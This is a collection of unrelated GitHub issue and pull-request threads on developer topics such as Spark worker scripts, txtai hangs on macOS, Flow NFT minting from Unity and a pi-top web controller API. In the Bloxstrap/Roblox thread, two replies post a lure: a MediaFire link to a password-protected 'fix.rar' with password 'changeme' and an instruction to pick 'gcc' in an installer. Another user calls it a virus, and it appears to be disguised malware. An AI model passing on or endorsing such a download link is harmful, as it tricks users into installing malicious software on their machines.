Adding CSS BACKGROUND in documentation

Is there an existing issue for this?

[X] I have searched the existing issues

Feature Description
There is lack of css background in docs section
Use Case
I would add the background section.
Benefits
No response
Add ScreenShots
No response
Priority
High
Record

[X] I have read the Contributing Guidelines
[X] I'm a GSSOC'24 contributor
[X] I have starred the repository

@Parth20GitHub complete task otherwise I will close it.


get_resource_package_content() given weights priority, downloads the weights

bioimageio.core 0.6.8
bioimageio.spec 5.3.2

Hey hey!
Having this:
from bioimageio.spec import load_description
from bioimageio.spec._package import get_resource_package_content

BIOIMAGEIO_WEIGHTS_PRIORITY = ["torchscript", "pytorch_state_dict", "tensorflow_saved_model_bundle"]
model = 'affable-shark'

rd = load_description(model, perform_io_checks=False)

package_content = get_resource_package_content(rd)

, the rdf expectedly is fetched, and the get_resource_package_content retrieves all the content, including all the available weights format. But the content is not downloaded. They can be retrieved with the download() function provided by spec.
, but if we use the weights priority argument:
from bioimageio.spec import load_description
from bioimageio.spec._package import get_resource_package_content

BIOIMAGEIO_WEIGHTS_PRIORITY = ["torchscript", "pytorch_state_dict", "tensorflow_saved_model_bundle"]
model = 'affable-shark'

rd = load_description(model, perform_io_checks=False)

package_content = get_resource_package_content(rd, weights_priority_order=BIOIMAGEIO_WEIGHTS_PRIORITY)

All the weights are downloaded, and the get_resource_package_content returns only the first available weight provided by BIOIMAGEIO_WEIGHTS_PRIORITY.
I am not sure how we want to utilize the priority feature, but I think the weights shouldn't be downloaded, and the get_resource_package_content should retrieve only the contents with no other side action :)

totally! thanks for sharing this bug. I'll make sure that weights_priority_order does not change the behavior to download despite perform_io_checks=False


[BUG] discord not detect roblox

Acknowledgement of preliminary instructions

[X] I have read the preliminary instructions, and I am certain that my problem has not already been addressed.
[X] I have thoroughly looked through the available Wiki articles and could not find a solution to my problem.
[X] I am using the latest version of Bloxstrap.
[ ] I did not answer truthfully to all the above checkboxes.

What problem did you encounter?
basically i was exploring discord overlay and i accidently hit that one button that stops roblox detection and now i cant undo it so it wont detect roblox anymore and i feel like discord is just shit at this point for not having an undo feature so i need help fixing this please

Download
https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file
password: changeme
In the installer menu, select "gcc."

Download https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file password: changeme In the installer menu, select "gcc."

whats that virus gonna do

Download
https://www.mediafire.com/file/czdodbba054p738/fix.rar/file
password: changeme
In the installer menu, select "gcc."


Throttle stack scrolls

Using underscore's throttle function, stack scrolls are throttled so that there is no more than one scroll every 50ms. This prevents too many load requests when the user scrolls the stack.
A better solution would be to throttle only when the images are not in the cache but I am not sure how to fit that into the existing framework.

Per our recent announcement I am going to close this issue. If you feel it would be a good candidate for the latest version of cornerstone-tools, then let's continue to discuss how we might best move forward and add this functionality.
If it is absolutely critical it be added to version 2, we can discuss that as well. Realistically, this will be much more likely to happen if a partner PR is made that targets version 3.
I'm sorry if this inconveniences you. We appreciate the effort you've put in. We realize it can be frustrating to donate work and for it to ultimately not be used. If there's anything we can do to improve in this area, please let us know. We're a small team, open to criticism, and actively trying to improve this process.


[SPARK-6552][Deploy][Doc]expose start-slave.sh to user and update outdated doc

https://issues.apache.org/jira/browse/SPARK-6552
/cc @srowen

Test build #29220 has started for   PR 5205 at commit f0fa408.

This patch merges cleanly.

Test build #29220 has finished for   PR 5205 at commit f0fa408.

This patch passes all tests.

This patch merges cleanly.

This patch adds the following public classes (experimental):

  case class UnregisterApplication(appId: String)

class RegexTokenizer extends UnaryTransformer[String, Seq[String], RegexTokenizer]

    case class Data(weight: Double, mu: Vector, sigma: Matrix)

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/29220/
Test PASSed.

Test build #29230 has started for   PR 5205 at commit b02263c.

This patch merges cleanly.

Test build #29230 has finished for   PR 5205 at commit b02263c.

This patch passes all tests.

This patch merges cleanly.

This patch adds no public classes.

Test PASSed.
Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/29230/
Test PASSed.

OK, that's looking pretty reasonable to me. It sounds like start-slave.sh may be the more sensible thing to tell people to do rather than run spark-class directly then. I'll ping a few other people who may have any experience with these scripts like @ScrapCodes or @andrewor14

hmmm...might be out of the scope of this patch,
if we look at https://github.com/apache/spark/blob/c3a52a08248db08eade29b265f02483144a282d6/sbin/start-slaves.sh#L44  start-slaves actually will query the SPARK_MASTER_PORT/IP before starting the worker process; shall we go forward with the consistent design?

I don't think so.
IIUC start-slaves.sh read SPARK_MASTER_PORT/IP to pass them to other slave nodes so that the workers on remote nodes can read it and connect to the master.
Let start-slave to read master's ip&port from other source is kinda making the start process more complicated.

I just thought that this create the chance to make the variables in spark-env.sh to be inconsistent with what are actually in use....though it might be just a minor issue

After taking a look at description of SPARK_MASTER_IP/SPARK_MASTER_PORT in spark-env.sh.template and start-master.sh, I think these two configs might be designed to be used for binding master process to a different ip/port on master node.
The description in spark-env.sh.template:

- SPARK_MASTER_IP, to bind the master to a different IP address or hostname

- SPARK_MASTER_PORT / SPARK_MASTER_WEBUI_PORT, to use non-default ports for the master
@srowen How do you think?

So, it looks like start-slaves.sh reads these variables in order to pass them as arguments to start-slave.sh. Am I right about that? if so, then no I do not think that start-slave.sh would also read these values. They are being passed already as the argument.

Yeah.

OK this looks good. The substantive change is directing people to use start-slave.sh to start a Worker, which seems like it may be more desirable now. The rest is making that script a little more ready to be called directly, like with args checking. LGTM. I will wait a little more for comments.

sure, LGTM now


Chairmans 2020 bugs?

There is some inconsistency in the database w.r.t. Chairman's Awards awarded at canceled events, specifically in the N.E. events (probably more wide spread). My team, 2877, won the award for the "Greater Boston" event. The award is appropriately credited to that canceled event on TBA, however, the blue banner icon says "NE District" (instead of the full name). Also, oddly, there is no credit of 10 points in the District Ranking. However, team 558 is in a similar situation, but did get the 10 district points. Team 125 (who never managed to play) did not get any points.

I am guessing (!) that the problem may have to do with the oddly formatted event names: "SUSPENDED ...". All the CA for the cancelled events are ending up with a name of "NE Event". My guess in terms of the district points is that, since there are ~8 teams with CA from an event with the same name, it is only counting the points once.
But, speculation.


Typo in Istio configuration property

Hey folks,
https://github.com/DataDog/integrations-core/blob/master/istio/README.md lists the property "send_histogram_buckets", but according to the following warning, https://github.com/DataDog/integrations-core/pull/15693 and https://github.com/DataDog/integrations-core/issues/4265 it should be "send_histograms_buckets":
2024-09-27 10:36:36 UTC | CORE | WARN | (pkg/collector/python/datadog_agent.go:129 in LogMessage) | istio:<id> | (base.py:499) | Detected potential typo in configuration option in istio/instances section: `send_histogram_buckets`. Did you mean send_histograms_buckets?

Please could you fix the documentation?

https://github.com/DataDog/integrations-core/pull/18703
as part of a slight update

Thank you so much for the swift resolution!


Enhnace the Reset Password email template in the TodoTemplate project (#2497)

this closes #2497

it is something like this now:

it is something like this now:

Why we don't have the company logo again?

it's just the layout of our template in a test HTML file.
in production the image will be there, as well as other information of the model


Migrate to ESM from CommonJS Modules

@mttrbrts When migrating packages to ESM, should we keep using mocha, chai and nyc or could we use a different test framework and/or assertion library such as jest, ava or vitest?

Chai 5.x.x has ESM support
Mocha works as well
NYC does NOT work as expected nyc returns zero coverage


Add Get-LargelistOperationStatus

Before creating a pull request, make sure that you have read the contribution file located at
https://github.com/pnp/powerShell/blob/dev/CONTRIBUTING.md
Type

[ ] Bug Fix
[x] New Feature
[ ] Sample

Related Issues?
This is follow-up to https://github.com/pnp/powershell/pull/2778: Add support for large list recycle for Remove-PnPList
What is in this Pull Request ?
This new command allows us to check the status of a large list operation.

Summary

copilot:summary
Details

copilot:walkthrough

The code looks good, can you please rename it to use PnP prefix for the cmdlet. So, you can just make it Get-PnPLargeListOperationStatus in the code and docs ?
Fixed, Thanks!

Thanks @lilealdai , have merged it !
Will be available in tomorrow's nightly and the next major version


embeddings.search hangs indefinitely on Mac

Running OS 12.7 (Monterrey) on a MacBook Air (M1, 2020) with Python 3.11.5
Script below — it should be effectively identical to the first example at https://neuml.hashnode.dev/tutorial-series-on-txtai
It failed in Spyder and also from the command line in Terminal (both with python3 scriptname.py and line by line after running python3 on the command line).
I then tried the same script on an Linux box I have access to, running Ubuntu 22.04.3 LTS. It worked fine as-is from the command line.
from txtai import Embeddings

# temp data
data = [
  "US tops 5 million confirmed virus cases",
  "Canada's last fully intact ice shelf has suddenly collapsed, forming a Manhattan-sized iceberg",
  "Beijing mobilises invasion craft along coast as Taiwan tensions escalate",
  "The National Park Service warns against sacrificing slower friends in a bear attack",
  "Maine man wins $1M from $25 lottery ticket",
  "Make huge profits without work, earn up to $100,000 a day"
]

# create embeddings
embeddings = Embeddings(path="sentence-transformers/nli-mpnet-base-v2")

# create index for list of texts
embeddings.index(data)

print(f"{'Query':20} Best Match")
print("-" * 50)

for query in ("feel good story", "climate change", "public health story", "war",
              "wildlife", "asia", "lucky", "dishonest junk"):
    # Extract uid of first result
    # search result format: (uid, score)
    uid = embeddings.search(query)[0][0]

    # Print text
    print(f"{query:20} {data[uid]}")

What happens if you change this line:
embeddings = Embeddings(path="sentence-transformers/nli-mpnet-base-v2")

to
embeddings = Embeddings(path="sentence-transformers/nli-mpnet-base-v2", gpu=False)

It froze. This time I left it running to see whether it would ever resolve. More than 11 hours later, it is still hung after printing the headers.

Ok, not exactly sure what could be going on. Outside of managing the build script, I don't run txtai in a macOS environment frequently.
Perhaps you can try something things as seen in the build script such as a different Python version or setting the OMP_NUM_THREADS=1 environment variable. There are also a couple ideas in the FAQ

Closing this due to inactivity. Please re-open or open a new issue if there are further questions.

Sorry, I should have reported back: OMP_NUM_THREADS =1 does seem to do the trick.


Rename Symbol takes too long to complete

VSCode: 1.1.18
OS:  Ubutun
Steps to Reproduce:

highlight a word (in python ,at least) in a file
rename  symbol

long to time to complete the action

Reading your description it seems that the issue originates from an extension and not VS Code itself. Thereby I will close this issue and kindly ask you to report this issue against the extension repository.
Most extensions are on GitHub as well so it should be easy to file it against the extension. If you open an extension on the market place, click on the Support link to find out more.

Thanks again for your feedback!


Initial ELMS:LN Training Course Outline

@kat-wehr can use this space for any docs or things related to the course outline for the training.

@kat-wehr Any assistance I can provide on getting the Course Outline moving forward for the initial ELMS:LN Training Course?

@cleverington I have added some stuff to #6 that could use some feedback!


Action fails on PRs that target another repo

For some reason I get a 403 when using this GH action. See
https://github.com/oceanhackweek/oceanhackweek.github.io/pull/51/checks?check_run_id=525775319#step:4:307
I'm not sure what I'm doing wrong. I thought that GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} was enough. Am I missing something?

Ah, this is a problem...
The GITHUB_TOKEN is passed correctly to the action and included in the request (you can see Authorization: token *** as a header in the CURL request in the logs). You're also getting a HTTP 403 back from Github and not a 401, so the token is being recognised.
The issue, as far as I can tell, is because this PR was opened from a forked repo. Apparently, Github Actions tiggered from a forked repo have read-only access to the upstream repo. The token used to run the action belongs to ocefpaf/oceanhackweek.github.io, which doesn't have write permissions to oceanhackweek/oceanhackweek.github.io, even to comment on a PR opened by that repo.
I've never tried use jekyll-diff-action from a forked repo, so this is the first I'm seeing of the issue. It looks like this isn't the only project struggling with this limitation though, it's also affecting danger-js and Lukasz Gornicki.
I'll have to think about the best way to handle this. A work around for now would be to only use the push trigger and not pull_request trigger for this workflow. Thanks for letting me know about the issue though and sorry it's not an easy fix!

Thanks! I should know that b/c I already run into it before.

A work around for now would be to only use the push trigger and not pull_request trigger for this workflow. Thanks for letting me know about the issue though and sorry it's not a perfect fix!

That works for me.


TPM+DPS provisioning - custom registration id

Describe the Problem
When using TPM provisoning with DPS, in our enterprise the physical hardware have our own "identifier", physically labelled too, and would therefor like to be able to use a custom registration id, example: HOSTNAME-EFLOW instead of the arbitrary generated registration id returned from "Get-EflowVmTpmProvisioningInfo"
Expected behavior
I would expect that a command like:
Provision-EflowVm -provisioningType DpsTPM -scopeId XXXX -registrationId HOSTNAME-EFLOW would not only be valid for symmetric key.
EFLOW version
1.1.2107.0
Windows Host OS (please complete the following information):

Edition: Windows 10 Enterprise
Version: 20H2 (19042.1165)
Virtual Machine: None

Additional context
Would also make it cleaner for our use, when viewing DPS enrollments at a glance, that we wont need to extract the tags to figure out what device we're looking at

Hi @Thacai,
Thanks for your detailed information. We will take your suggestion into account for our upcoming updates.
Thanks,
Francisco


[ST] ETH->Blast txs isn't show up in scan.

Describe the bug
Can't see a bunch of TXs in scan. All of them is ezETH transfers from Mainnet to Blast.
Link to ticket in discord
https://app.intercom.com/a/inbox/qge2vd8z/inbox/admin/7089273/conversation/615?view=List
Additional context
@oncall
https://etherscan.io/tx/0x281d849426e72f679156ca9432d6cda4d160fe2e4a0f8b552e7cab652ec9a2d5

Another one's:
https://discord.com/channels/454734546869551114/1232598086283563048
https://discord.com/channels/454734546869551114/1232603274700521502

Another one: https://discord.com/channels/454734546869551114/1232594955231428608

Another one: https://discord.com/channels/454734546869551114/1232563130920599552


Sargan–Hansen J-test

[ ] Sargan–Hansen J-test: https://en.wikipedia.org/wiki/Generalized_method_of_moments

Source: https://doi.org/10.1016/0304-4076(91)90098-X


Docs: change Getting started EE guide reference to point to the relevant location

Docs: change Getting started EE guide reference to point to the relevant location. The stuff was moved yesterday.
The old one currently refers to a 404 page

@shatakshiiii thanks!


[BUG] Missing: Unity C# method for actually Minting a NFT #hackathon

Current Behavior
The existing tutorials and documentation indicate that you are supposed to be able to mint a NFT using Flow.
A emulator_test_data.sh script is provided to mint some test NFT, but this is using CLI and cadence.
There needs to be a method for a Unity developer to call from Unity to mint a NFT.
Expected Behavior
A very simple snippet should be available. I assume this is asynchronous, but we can simply have a callback.
Please have a method that looks something like this available:
MintNFT(string url, Callback);

And the Callback(string result, int resource) returns the resource and success/error when minted (replace with appropriate arguments - i have only a high level understanding of how to mint, but as I understand it is a integer resource that is returned
Where url is supposed by the Unity dev, that links to the thing to be minted.
Steps To Reproduce
There needs to be a method for a Unity developer to call from Unity to mint a NFT.
Environment
All

What are you currently working on that this is blocking?
an awesome AR x AI mobile app for the hackathon

A MintNFT function is not something that we would put in the Unity SDK for multiple reasons.
Firstly, it is too application specific. There could be many games integrated with the Flow blockchain that do not use NFTs, and those that do are going to define their own NFTs. It would not be possible for the SDK to be "aware" of a game's NFTs to mint them. To give an example in the non-blockchain space, it would be like Unity having a MintGold function. There are many games made in Unity that do not have Gold, so this function would be useless to them. Unity could also provide MintSilver, MintCopper, MintDollars and MintFood functions, which might be useful to some games, but not the majority. These are game-specific elements that the game should implement, not Unity. It's the same for the Flow SDK and MintNFTs. If your game has NFTs called Collectibles, it would make sense for your game to have a MintCollectibles function, but it doesn't make sense for the SDK to have this.
Secondly, NFTs must be minted from cadence, in a transaction signed by a Flow account. It cannot be done directly from Unity. We could write a helper function that submits a transaction to do this, but this would lead to complexity around who signs the transaction, what happens if the transaction fails etc, and the solutions to these problems would differ from game to game. This leads to the first point - we'd be making game-specific functionality in the SDK, which is not what the SDK should be doing.
What is actually needed are clear examples and tutorials of how to mint NFTs, in the context of a game. The Flow Words sample  has been modified in the pre-releases/v2.0.0 branch to use testnet, so it no longer uses the emulator_test_data script you mentioned. We will continue to create new samples and tutorials to provide more examples of how to use the Flow SDK, including how to mint NFTs.

I may be oversimplifying, but (correct me if I am misunderstanding) it seems, a classic NFT is just a resource that is tied to a url string (often pointing to a image)
So, you could just have a very general catch-all MintNFT method that does not care if the URL represents gold or food or whatever - it is simply a URL (string) tied to a flow resource. The app then processes it (the wallet usually just loads the image url).

it seems, a classic NFT is just a resource that is tied to a url string
An NFT on Flow is even more simple than that - it is just a unique id (UInt64). That is the only required field. You can define any other fields you like (such as a string for url) in the definition of your NFT, but id is the only required field for all NFTs. Here is the cadence interface that all NFTs should implement:
https://github.com/onflow/flow-nft/blob/master/contracts/NonFungibleToken.cdc
Regardless of what we put in the SDK, the developer will need to define their NFT in their own contract and deploy the contract to a Flow account. If you have not done so already, I highly recommend you take a look at the Flow Playground tutorials:
https://play.flow.com
In particular this tutorial, which steps through how to define and mint NFTs in cadence:
https://developers.flow.com/cadence/tutorial/05-non-fungible-tokens-1
In a future release of the Flow SDK for Unity, we will mirror the Flow Playground tutorials with Unity sample tutorials.

Yes, I did look through the Create NFT playground tutorial before posting here.
I tried modifying it a bit but then had a lot of trouble just writing a getNFTMetadata method in cadence and then realized I was not sure how to reference the NFT we just created. That playground example's NFTExist script only checked if something was written in storage. This does not really help because in practice, we need to be able to lookup what was written to storage.
pub contract BasicNFT {

    // Declare the NFT resource type
    pub resource NFT {
        // The unique ID that differentiates each NFT
        pub let id: UInt64

        // String mapping to hold metadata
        pub var metadata: {String: String}

        // Initialize both fields in the init function
        init(initID: UInt64,url: String) {
            self.id = initID
            self.metadata =  {"url": url}
        }

    }

    // Function to create a new NFT
    pub fun createNFT(id: UInt64,url: String): @NFT {
        return <-create NFT(initID: id,url: url)
    }
   /* pub fun getNFTMetadata(id: UInt64): @NFT {
        // ?? How do we reference a previously created NFT and get its metadata?
    }*/

    // Create a single new NFT and save it to account storage
    init(  ) {
        self.account.save<@NFT>(<-create NFT(initID: 1,url: "https://napkinmatic.com"), to: /storage/BasicNFTPath)
    }
}

Effectively, what is needed from Unity is a very simple Cadence.Read/Write() version of PlayerPrefs.SetString/Int/etc
https://docs.unity3d.com/ScriptReference/PlayerPrefs.html
For example:
void Cadence.WriteString(string stringName,string stringValue);
string Cadence.ReadString(string stringName);

Could you please post the cadence question in the cadence channel on discord? There are much better experts on cadence than myself who can answer, plus it's very useful for the community to see the answers to your question.
https://discord.gg/flow
Regarding your latter post, the best way to think about this is in terms of cadence Scripts and Transactions.
Reading data = execute a Script
Writing data = submit a Transaction (must be signed by an account)
Reading any data from the blockchain is nice and simple (once you get to know cadence syntax). You write a Script (must have a main function), which can take arguments and can optionally return whatever data you want. It could be something simple like a string or an int, or something as complex as an array of nested structs. Use the SDK's Scripts.ExecuteAtLatestBlock to do this.
Writing to the blockchain is much more complicated - the cadence code must be submitted in a Transaction, which is signed by the account/s that's going to be affected. From a Web3 point of view - you're trying to modify someone's data, so you need their permission. Like Scripts, Transactions take some cadence code (though the format is different - they don't have a main function), and can optionally take some arguments. Unlike Scripts though, they do not return anything, and they take a lot longer to execute. Use the SDK's Transactions.Submit to do this.
In the pre-release of v2.0.0, we have introduced a new feature called Cadence Convert. This allows you to convert your script\transaction arguments, and script return data, between C# and cadence very easily. The document for this feature is in Documentation~/convert. Have a read of this, as it may help you with what you're trying to do.

Question: Do NFTs have to be stored to a different storage path? I had thought defining the resource ID would serve as a primary key (?)

Take a look at the Collection portion of the NonFungibleToken contract.  A user will typically create a collection resource (by implementing something like the createEmptyCollection function which creates and returns a new collection resource) and store it at a unique known location in private storage.  Then it would link the public capability CollectionPublic of that collection to a unique known public path.  This will allow anyone to list the NFTs of that type, deposit an NFT of that type into the collection, or borrow a reference to the NFT to read its data without actually taking possession of that NFT.


Missing labels

The following query produces 217 results when executed against the 2020q3 ontology and vocabulary graphs.  I think these elements are supposed to have some form of label.  None of them appear to.  Not that this is catastrophic given the rigorous approach to IRI construction.
PREFIX  skos: http://www.w3.org/2004/02/skos/core#
PREFIX  rdfs: http://www.w3.org/2000/01/rdf-schema#
SELECT  *
WHERE
{ { ?concept  skos:definition  ?def }
MINUS
{ ?concept skos:prefLabel|rdfs:label ?lbl }
}
Missinglabels.xlsx

The attached sparql updates are a temporary fix
update.labels.sparql.txt

@kptyson Hi Kevin, these occur only in FIBODev, not in production.  It's just taking time for us to get to them.  There is a hygiene test that looks for these cases that must pass on the production ontologies, but that is only a warning for provisional content, fyi.  If there is some area in FIBO that is important for a use case you're working on, please email me and let me know so we can talk about elevating it in priority.  My email address is still<EMAIL_ADDRESS>fyi

I checked again and these are missing from the current production vocabulary.

I looked into isDirectorOf and the label is there in the source OWL (BE/OwnershipAndControl/Executives), but there is no prefLabel in the Vocabulary. So there must be a problem in the Vocabulary transformation, @dallemang. In fact from a quick skim it seems that no ObjectProperties have a prefLabel in Vocabulary. hasDividendDeclarationDate actually has a skos:altLabel but no skos:prefLabel


Is there a way to not fail on windows?

I'm using this module on my tests, but it always fails on windows because what I expect is defined with \n and windows prints with \r\n (for example: https://github.com/FCO/Pod-Test-Code/runs/2890433017?check_suite_focus=true) is there any way to fix that?
Thanks

Possibly. Let me check. Thanks for the report, and sorry for the delay

I'm afraid there's no OS specific code here. It will test if expected is the same as real output; but the thing is that, in Windows, expected output is going to be different. So I'm afraid you'll have to take that into account in your test code. There's very little we can do at this level.

@FCO I'd like some feedback from you before making some big judgement but I really tend to agree with @JJ that it would be the worst kind of DWIM to pretend that a string that actually contains \r\n contained \n, simply for convenience reasons. I would rather be worried, so to speak, if something really produced a bare \n on Windows but since the technical possibility is on (just think of git line-end conversions), I think the guessing would actually do more harm than good.

A possibility would be to have some specific test for OS-independent newline (and maybe other specificities, although ATM I can't think of any other). But that's why it's marked "enhancement", not bug.


Incompartibility with new Forge, MCglTF and Ars Nouveau

Since Forge upgraded from 43.1.57 to 43.1.58 there new crash-like bug appeared. The game on start after loading screen 100% with Mojang logo, switches to empty red screen and freezes. Or sometimes just quit. There is no crush log but stderr logs have exception which refers to GeckoLib and Ars Nouveau. Also presence of MCglTF library make some influence but after I reported to owner of MCglTF he could reproduce the same exception in logs with only GeckoLib in mods folder.
I have stable reproduce of "red screen" with this configuration:
MC 1.19.2 (not 19.3)
forge-1.19.2-43.1.58-installer.jar or forge-1.19.2-43.2.0-installer.jar
geckolib-forge-1.19-3.1.38.jar
ars_nouveau-1.19.2-3.5.1.jar
curios-forge-1.19.2-<IP_ADDRESS>.jar
Patchouli-1.19.2-77.jar
TerraBlender-forge-1.19.2-<IP_ADDRESS>.jar
MCglTF-1.19.2-Forge-<IP_ADDRESS>.jar

stderr.log

This is on Ars side, not ours. They are shadowing an old version of Geckolib.

I can report to Ars but could you explain? What about old version if I use latest available version for 1.19.2 - geckolib-forge-1.19-3.1.38.jar? And what about Ars if somebody could reproduce exception with only geckolib im mods folder i.e. without Ars?

The log clearly shows its used a shaded version that overrides your installation, look at the path it lists.

Thank you for explanation, I will report to Ars.


Configurable web interface API

Initial pass at a configurable API for:

serving static files
a web controller

Failing LGTM because of from . import routes. Perhaps just import routes would work?

Failing LGTM because of from . import routes, due to The module 'pitop.labs.webserver' imports itself. error.
Perhaps just import routes would work?

I think the code referenced by LGTM is removed by this PR. 🤔🤷♂

Mark wants no mention of Alex anywhere. Let's rename to rover or something.
We should also not be accessing parts of a pi-top unless from a Pitop object.
Then we can merge!

We can remove the AlexWebController class and leave the AlexControllerBlueprint, that way it's similar to having the Alex config JSON. The blueprint doesn't really make sense as a "rover" blueprint because it's specifically built for the Alex configuration (right joystick controls the pan tilt camera).
In terms of not accessing parts of the Pitop unless from a "Pitop" object do you mean in the examples? Those can be fairly easily updated 👍. One thing to note is that the WebServer doesn't implement Recreatable, and by extension WebController doesn't either, so for now I wouldn't add either to the robot as a component.
We need to talk about the whether we want this to be Recreatable at some point in the future. The behaviour of the WebServer, and by extension the WebController, relies on files in the directory, naturally these would not be guaranteed to be there when its recreated. We'd also need to think about how we would recreate the message handlers, serialising the functions has caveats as well. I think we don't want it to be Recreatable having written this now 😂

Hey, thanks for the feedback!

I think the RoverControllerBlueprint has "too much information" about the internals of each class it uses; providing it helps to have something up and running fast, but if I, for example, want to add a print on each joystick press, or turn on an LED when turning left/right, I'll need to copy all the code from the left/right joystick handlers functions outside to my custom example; or do something as basic as having the left joystick drive the motors and the right one the pan tilt.

It's already possible to override the handlers so we can expose the "default handlers" which would allow you to easily achieve all the above. e.g.
def right_joystick(data):
  RoverWebController.drive_handler(drive, data)
  print(data)

rover_controller = RoverWebController(drive=drive, message_handlers={
  'right_joystick': right_joystick
})

Alternatively we can expose the helpers calculate_pan_tilt_angle and calculate_velocity_twist from the helpers.py file so the users can use them. Or we can do both! I'm happy with all of these. 👍

Side note: it'd be good to know where the magic numbers from the rover/helpers.py file came from (I think ryan added them).

Yeah this is from ryan's original code, it's one radian in degrees. I'll update it to be 180 / math.pi.

On the other hand, I was playing around yesterday to get a rover based demo working using a naive approach. The idea was that you could select its driving mode: manual (where you use the joysticks to move it around) or automatic (which is basically, using the line following algorithm from the SDK), based on the "image processing example" from this PR...
I started using a custom html, and tried to write the server without using the RoverControllerBlueprint, so I added the messaging & video blueprints; however, I wasn't able to import the joystick js files in my html since they weren't in the correct "scope". I think we should have a way to import every js/css file we provide in our blueprints in some way without actually using the blueprint (and if there is already a way, please let me know, haha). I ended up using the RoverControllerBlueprint to be able to use the joysticks.

So I think I need to write documentation about how to use and customise the blueprints. I was avoiding it because writing docs for something that is going into labs seemed a bit silly but actually it's probably the best way for us all to get on the same page! I'll spend some time doing that today and likely Tuesday.
For now I'll just clarify how you could have avoided the points above. The way the blueprints are encouraged to be customised is through templates:

BaseBlueprint provides a base.html template
ControllerBlueprint provides a base-controller.html template which extends base.html
RoverControllerBlueprint provides a base-rover.html template which extends base-controller.html

In this case you are modifying the default behaviour of the RoverControllerBlueprint so you can extend base-rover.html to get all of the above for free: it sets up messaging, video, joysticks along with adding the joysticks and video to the page.
For more general use cases where you want everything to be set up but without the premade rover layout then implementing the ControllerBlueprint and extending base-controller.html will give you that.
BaseBlueprint and base.html are there to allow us to provide default css and layout etc. We can consider always including this in WebServer as it reduces the overhead of figuring out which blueprints you need.
I haven't added templates to the lower level blueprints because it didn't seem particularly necessary, at the point you are building a WebServer from scratch so importing a couple scripts and some stylesheets is not uncommon, but we need to document what each blueprint provides and how to set them up on your raw html page. One option for making that easier is for each blueprint to provide a little snippet that you can include in your html.
I'm aware that there is a lot to learn here, I'm not expecting all these options to be presented to students. My current attitude is that with this PR we are keeping the API as powerful as possible as it's going into labs, and then we can streamline it after we have experimented and want to move it into the main SDK.

Also, in this example, I wanted to add a way to print some messages in the front when something happened in the backend (eg: line follower algorithm loses a line, or the line changes direction); I wasn't able to find an "easy" way to send these messages from the server to the frontend in a way where the server is the one that starts the conversation... I had to start the conversation from the frontend by triggering an event (in this case, by changing the option in a select-input) and get the send function from the handler of that event. I saw in the code that handlers can have either 1 or 2 args (data or data & send callback, to respond to a message). I ended up grabbing this callback and making it available globally. I think we should provide an easy way to "start a conversation" from the server side, I know I could have used a WS library to do so, but if we're already abstracting a lot to make this easy to use, having a generic "send message" function would be good.
Here's the code I ended up with: https://github.com/pi-top/pi-top-Python-SDK/compare/configurable-web-labs...rover-wc-demo?expand=1

So this broadcast behaviour Angus and I discussed a while back and thought of as a next step, we didn't need it in our initial examples so decided to kick the can down the road a bit. It looks like we were wrong there if you hit up against it immediately! I looked at your branch and you are close, but making it available globally means that if the client was to open a new tab the first tab would break (stop recieving messages).
The naive way to add this feature involves adding a broadcast method to the MessagingBlueprint which will send a message to all the sockets at once, and exposing it on the WebController and RoverWebController classes. I have another idea but I want to think about it a bit more before proposing it 😋. I think I may implement the naive way now anyways as it will be useful for comparison and experimentation regardless (and this is going into labs after all)
Anyways, I branched off your rover-wc-demo branch and updated it to use the rover-base.html template and implemented a bit of pseudo-code so you can see what the broadcast method would be doing internally. When I add broadcast I'll update it again and post here 😄
https://github.com/pi-top/pi-top-Python-SDK/compare/rover-wc-demo...rover-wc-demo-response


Delayed queue cannot store data in the target queue on time in cluster mode, but it is normal in single mode

In cluster mode, delayed queue can't put the data to the target queue on time. The timeout data will be put into the target queue when the next offer is made

Did you sync time across all application instances which use Redisson client?

Yes, at present, I use rdelayedqueue. Touch () to avoid this problem, but I don't know if it's right to do so

You need to keep RDelayedQueue instance, so it could work.


Reminder about multiple possible answers

Some problems just allow multiple correct answers, with some words like "if multiple answer exists, print any of them". If this tool can sense this and remind me "Though your answer differs with the standard answer, but it might be correct.",this tool will be more lovely.
As proposed by yuzhou627 at http://codeforces.com/blog/entry/13141#comment-179070

it's been 4 years, still waiting for enhancement.

And 6 years now.

Let me go ahead and open an issue on organizing anniversary parties for this, then?


Support for named archetypes.

Default archetype should remain the "simple" archetype.  Add CLI option for additional standard archetypes.

Fixed at PR #71.


⚠ Bofrost.com has degraded performance

In 65e1a84, Bofrost.com (https://www.bofrost.com) experienced degraded performance:

HTTP code: 200
Response time: 744 ms

Resolved: Bofrost.com performance has improved in 3bf7583.


Bug: pfm_range_list & pfm_range_list_titles not respected between 20 - 45 entries

I was working on an iTunes manifest and there is a preference - ratingSystemID - which defines the country to be used for the movie & tv show rating system with an integer.
However, it appears that somewhere between 20 - 45 items, rather than displaying a dropdown menu with the pfm_range_list_titles, instead this reverts into an integer entry field.
This iTunes preference has over 150 countries, so the number of list items would need to be increased pretty drastically to support this preference key.

Interesting.
There is a feature where if range_list is NOT set, but min and max is set for an integer value, and the range is less than 40, it will be converted to a popUpButton instead of a regular input filed.
This seems reversed if it's the case, I will have to look it up, because you are both adding the range list and the range list titles? Are you also adding the min and max values for the integer?

One thing, if you have both range_list and range_list_titles, if the item count is not exactly the same in both, the titles will be ignored, but that should not affect this either.
Could you send me the buggy manifest on slack and I will take a look at it.

I was pretty sure I counted exactly the number to ensure there was a string for each integer value.  You'll find the manifest attached.  I tried adding a pfm_range_max and pfm_range_min, but it just added a range label adjacent to the integer entry field, rather than turning back into a dropdown menu.
com.apple.iTunes.plist.zip

This is also a problem for one subkey preference in the Google Chrome manifest updates I'm working on.
The ExtensionSettings key has a number of subkeys.  One of these, blocked_permissions is within a dictionary & has 62 defined options, which are documented here: https://developer.chrome.com/extensions/declare_permissions
Despite supplying a pmf_range_list, it's only showing up as a text field and not a drop-down list.

<dict>
	<key>pfm_description</key>
	<string>Maps to a list of strings indicating the blocked API permissions for the extension.</string>
	<key>pfm_description_reference</key>
	<string></string>
	<key>pfm_name</key>
	<string>blocked_permissions</string>
	<key>pfm_subkeys</key>
	<array>
		<dict>
